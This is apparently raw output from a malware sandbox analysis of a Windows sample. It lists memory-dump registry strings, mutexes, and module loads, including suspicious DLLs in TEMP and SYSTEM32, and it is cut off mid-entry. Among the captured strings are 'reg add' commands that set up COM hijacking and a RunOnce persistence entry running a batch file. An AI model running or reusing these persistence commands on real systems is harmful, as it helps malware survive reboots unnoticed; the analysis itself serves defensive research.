"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001332.00000000.168324.66FF0000.00000004.mdmp, 00000000-00001332.00000001.168518.66FF0000.00000004.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp, "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp, "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001612.00000000.168853.02D50000.00000004.mdmp, 00000000-00001612.00000001.170318.02D80000.00000004.mdmp, "\Software\C" in Source: 00000000-00001612.00000000.168853.02D50000.00000004.mdmp, 00000000-00001612.00000001.170318.02D80000.00000004.mdmp, "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C296D07-90AE-4FAC" in Source: 00000000-00001612.00000000.168853.02D50000.00000004.mdmp, 00000000-00001612.00000001.170318.02D80000.00000004.mdmp, "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00001612.00000000.168853.02D50000.00000004.mdmp, 00000000-00001612.00000001.170318.02D80000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001612.00000000.168853.1D080000.00000004.mdmp 00000000-00001612.00000001.170318.1D080000.00000004.mdmp36:T511,Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1332:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1332:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1332:120:WilError_01" Process powershell.exe created mutex with name "Local\SM0:1332:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:1332:120:WilError_01" Process powershell.exe created mutex with name "SM0:1332:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1612:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:1612:304:WilStaging_02" Process powershell.exe created mutex with name "CJt8QmPkxNqtXydl_Mtx" Process powershell.exe created mutex with name "Local\SM0:1612:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:1612:120:WilError_01" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1612:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\CJt8QmPkxNqtXydl_Mtx" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1612:120:WilError_01"37:T1752,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "explorer.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\Crypt32.dll" - [base:0; Status:c0000135]38:T2a6f,"Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00000696.00000000.166902.2F30F000.00000002.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00000696.00000000.166902.2F30F000.00000002.mdmp "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}" /ve /t REG_SZ /d "System Shell Extension" /f " in Source: 00000000-00000696.00000000.166902.E57D0000.00000004.mdmp "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}" in Source: 00000000-00000696.00000000.166902.E57D0000.00000004.mdmp "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}" in Source: 00000000-00000696.00000000.166902.E5960000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp "\Software\C" in Source: 00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00001332.00000000.168324.4CCE0000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\1\ShellIds\" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001332.00000000.168324.66FF0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001332.00000000.168324.B501A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp "\Software\C" in Source: 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00001332.00000001.168518.4CCE0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001332.00000001.168518.66FF0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001612.00000000.168853.02D50000.00000004.mdmp "\Software\C" in Source: 00000000-00001612.00000000.168853.02D50000.00000004.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C296D07-90AE-4FAC" in Source: 00000000-00001612.00000000.168853.02D50000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00001612.00000000.168853.02D50000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001612.00000000.168853.1D080000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001612.00000001.170318.02D80000.00000004.mdmp "\Software\C" in Source: 00000000-00001612.00000001.170318.02D80000.00000004.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C296D07-90AE-4FAC" in Source: 00000000-00001612.00000001.170318.02D80000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00001612.00000001.170318.02D80000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001612.00000001.170318.1D080000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00001612.00000001.170318.1D080000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00001612.00000001.170318.A7F08000.00000002.mdmp "HKLM\" in Source: 00000000-00001612.00000001.170318.A7F08000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00001612.00000001.170318.A7F08000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00001612.00000001.170318.A7F08000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00001612.00000001.170318.A7F08000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00001612.00000001.170318.B501A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00001612.00000001.170318.B501A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00001612.00000001.170318.B501A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001612.00000001.170318.B501A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00001612.00000001.170318.B501A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001612.00000001.170318.B501A000.00000002.mdmp "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f " in Source: 00000000-00002560.00000000.167556.02650000.00000004.mdmp "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" in Source: 00000000-00002560.00000000.167556.02650000.00000004.mdmp "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" in Source: 00000000-00002560.00000000.167556.02950000.00000004.mdmp "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f " in Source: 00000000-00006912.00000000.167232.13180000.00000004.mdmp "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" in Source: 00000000-00006912.00000000.167232.13180000.00000004.mdmp "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" in Source: 00000000-00006912.00000000.167232.134E0000.00000004.mdmp "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Colleague" /t REG_SZ /d "cmd.exe /c \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Templates\CABIN.bat\"" /f " in Source: 00000000-00007332.00000000.167880.9F920000.00000004.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00007332.00000000.167880.9F920000.00000004.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00007332.00000000.167880.9FB70000.00000004.mdmp39:T4241,"cmd.exe" loaded module "KERNEL32" at base 7ffdde2c0000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffddb490000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffddb490000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffddb490000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffddd360000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffddb490000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffddb490000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffddb490000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffdce640000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffdde770000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffdde2c0000 "reg.exe" loaded module "KERNEL32" at base 7ffdde2c0000 "reg.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffddb490000 "reg.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffddb490000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffddb490000 "reg.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffddd360000 "reg.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffddb490000 "reg.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffddb490000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffddb490000 "reg.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffdce640000 "reg.exe" loaded module "KERNEL32.DLL" at base 7ffdde2c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffddb490000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffddb490000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffddb490000 "powershell.exe" loaded module "KERNEL32" at base 7ffdde2c0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffdce640000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffdde370000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffdc8760000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffdde0a0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffddab30000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffdd2d00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffdadc30000 "powershell.exe" loaded module "USER32.DLL" at base 7ffdddf00000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffddb490000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffdce340000 "powershell.exe" loaded module "NTDLL" at base 7ffdde770000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffdde430000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffddd4b0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffdde2c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffdac630000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffddd880000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffdde430000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffddde30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffdab9c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffdaaf40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffdc2500000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffdd9f00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffddb850000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffda8ed0000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffdde430000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffdde430000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffdde770000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffddbe60000 "powershell.exe" loaded module "PSAPI.DLL" at base 2544e9d0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffddba40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffdc2390000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffdd1790000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffdd2d00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffddba40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffddab70000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffdd16c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffdaf1b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\C0FRRDKY.DLL" at base 7ffdcd1a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffdaf070000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffdc22f0000 "powershell.exe" loaded module 